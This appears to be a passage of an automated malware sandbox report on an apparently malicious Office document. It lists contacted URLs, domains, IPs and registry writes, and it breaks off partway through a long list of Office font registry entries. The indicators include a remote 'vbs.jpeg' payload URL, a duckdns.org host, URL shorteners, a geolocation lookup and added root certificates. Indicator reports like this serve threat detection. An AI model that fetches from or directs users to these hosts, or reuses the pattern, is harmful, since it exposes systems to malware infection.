http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh
|
unknown
|
||
http://hq.ax/Oi8yX
|
unknown
|
||
http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js
|
unknown
|
||
http://nuget.org/NuGet.exe
|
unknown
|
||
https://www.ccleaner.com/go/app_cc_pro_trialkey
|
unknown
|
||
http://198.46.176.133/Upload/vbs.jpeg
|
198.46.176.133
|
||
http://crl.entrust.net/server1.crl0
|
unknown
|
||
https://asociatiatraditiimaria.ro/comments/feed/
|
unknown
|
||
http://www.imvu.com/cK
|
unknown
|
||
https://contextual.media.net/8/nrrV73987.js
|
unknown
|
||
http://www.imvu.com
|
unknown
|
||
https://api.w.org/
|
unknown
|
||
https://contoso.com/Icon
|
unknown
|
||
https://contextual.media.net/
|
unknown
|
||
https://hq.ax/Oi8
|
188.114.96.3
|
||
http://hq.ax/Oi8
|
188.114.96.3
|
||
http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-json/
|
unknown
|
||
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
|
unknown
|
||
http://www.msn.com/
|
unknown
|
||
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
|
unknown
|
||
http://geoplugin.net/json.gp
|
178.237.33.50
|
||
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
|
unknown
|
||
http://hq.ax/
|
unknown
|
||
http://new.quranushaiqer.org.sa
|
unknown
|
||
https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
|
unknown
|
||
https://new.quranushaiqer.org.sa
|
unknown
|
||
http://cdn.at.atwola.com/_media/uac/msn.html
|
unknown
|
||
http://go.microsoft.c
|
unknown
|
||
https://www.google.com/accounts/servicelogin
|
unknown
|
||
http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
|
unknown
|
||
https://secure.comodo.com/CPS0
|
unknown
|
||
https://policies.yahoo.com/w3c/p3p.xml
|
unknown
|
||
http://crl.entrust.net/2048ca.crl0
|
unknown
|
||
http://www.msn.com/advertisement.ad.js
|
unknown
|
||
http://www.ebuddy.com
|
unknown
|
There are 80 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
hq.ax
|
188.114.96.3
|
||
iwarsut775laudrye2.duckdns.org
|
192.253.251.227
|
||
bg.microsoft.map.fastly.net
|
199.232.214.172
|
||
asociatiatraditiimaria.ro
|
93.113.54.56
|
||
shortify.pro
|
188.114.97.3
|
||
geoplugin.net
|
178.237.33.50
|
||
new.quranushaiqer.org.sa
|
34.166.62.190
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
188.114.96.3
|
hq.ax
|
European Union
|
||
192.253.251.227
|
iwarsut775laudrye2.duckdns.org
|
United States
|
||
104.168.45.34
|
unknown
|
United States
|
||
34.166.62.190
|
new.quranushaiqer.org.sa
|
United States
|
||
93.113.54.56
|
asociatiatraditiimaria.ro
|
Romania
|
||
188.114.97.3
|
shortify.pro
|
European Union
|
||
198.46.176.133
|
unknown
|
United States
|
||
178.237.33.50
|
geoplugin.net
|
Netherlands
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
|
Blob
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
|
,i-
|
||
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Excel
|
Enabled
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
|
MTTT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle
|
ReviewToken
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\27964
|
27964
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
|
iq-
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\Trusted Documents
|
LastPurgeTime
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 2
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 3
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 4
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 5
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 6
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 7
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 8
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 9
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 10
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 11
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 12
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 13
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 14
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 15
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 16
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 17
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 18
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 19
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 20
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37233
|
37233
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37752
|
37752
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\378A9
|
378A9
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
|
{E7E4BC40-E76A-11CE-A9BB-00AA004AE837} {000214E6-0000-0000-C000-000000000046} 0xFFFF
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 2
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 3
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 4
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 5
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 6
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 7
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 8
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 9
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 10
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 11
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 12
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 13
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 14
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 15
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 16
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 17
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 18
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 19
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 20
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
|
Item 21
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
|
1033
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
|
1033
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
EXCELFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
ProductFiles
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
|
VBAFiles
|
||
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
|
SavedLegacySettings
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
|
Blob
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
|
Blob
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37752
|
37752
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
|
$"/
|
||
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word
|
Enabled
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
|
MTTT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
|
`"/
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Internet\Server Cache
|
Version
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Internet\Server Cache\http://hq.ax/
|
EnableBHO
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
|
r7/
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 2
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 3
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 4
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 5
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 6
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 7
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 8
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 9
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 10
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 11
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 12
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 13
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 14
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 15
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 16
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 17
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 18
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 19
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 20
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 21
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Max Display
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 1
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 2
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 3
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 4
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 5
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 6
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 7
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 8
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 9
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 10
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 11
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 12
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 13
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 14
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 15
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 16
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 17
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 18
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 19
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 20
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
|
Item 21
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\32165
|
32165
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Arial Unicode MS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Batang
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@BatangChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@DFKai-SB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Dotum
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@DotumChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@FangSong
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Gulim
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@GulimChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Gungsuh
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@GungsuhChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@KaiTi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Malgun Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Meiryo
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Meiryo UI
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Microsoft JhengHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@Microsoft YaHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MingLiU
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MingLiU_HKSCS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MingLiU_HKSCS-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MingLiU-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MS Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MS Mincho
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MS PGothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MS PMincho
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@MS UI Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@NSimSun
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@PMingLiU
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@PMingLiU-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@SimHei
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@SimSun
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
@SimSun-ExtB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Agency FB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Aharoni
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Algerian
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Andalus
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Angsana New
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
AngsanaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Aparajita
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arabic Typesetting
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arial
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arial Black
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arial Narrow
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arial Rounded MT Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Arial Unicode MS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Baskerville Old Face
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Batang
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
BatangChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bauhaus 93
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bell MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Berlin Sans FB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Berlin Sans FB Demi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bernard MT Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Blackadder ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bodoni MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bodoni MT Black
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bodoni MT Condensed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bodoni MT Poster Compressed
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Book Antiqua
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bookman Old Style
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bookshelf Symbol 7
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Bradley Hand ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Britannic Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Broadway
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Browallia New
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
BrowalliaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Brush Script MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Calibri
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Calibri Light
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Californian FB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Calisto MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Cambria
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Cambria Math
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Candara
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Castellar
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Centaur
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Century
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Century Gothic
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Century Schoolbook
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Chiller
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Colonna MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Comic Sans MS
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Consolas
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Constantia
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Cooper Black
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Copperplate Gothic Bold
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Copperplate Gothic Light
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Corbel
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Cordia New
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
CordiaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Courier New
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Curlz MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
DaunPenh
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
David
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
DFKai-SB
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
DilleniaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
DokChampa
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Dotum
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
DotumChe
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Ebrima
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Edwardian Script ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Elephant
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Engravers MT
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Eras Bold ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Eras Demi ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Eras Light ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Eras Medium ITC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Estrangelo Edessa
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
EucrosiaUPC
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Euphemia
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
FangSong
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Felix Titling
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Footlight MT Light
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Forte
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Franklin Gothic Book
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Franklin Gothic Demi
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Franklin Gothic Demi Cond
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
|
Franklin Gothic Heavy
|
||
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
